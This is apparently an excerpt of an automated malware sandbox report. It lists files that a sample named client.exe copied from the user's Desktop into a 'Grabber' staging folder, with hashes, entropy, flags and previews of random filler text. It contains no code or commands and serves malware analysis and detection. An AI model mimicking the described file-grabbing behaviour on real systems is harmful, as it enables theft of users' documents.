Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	true
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	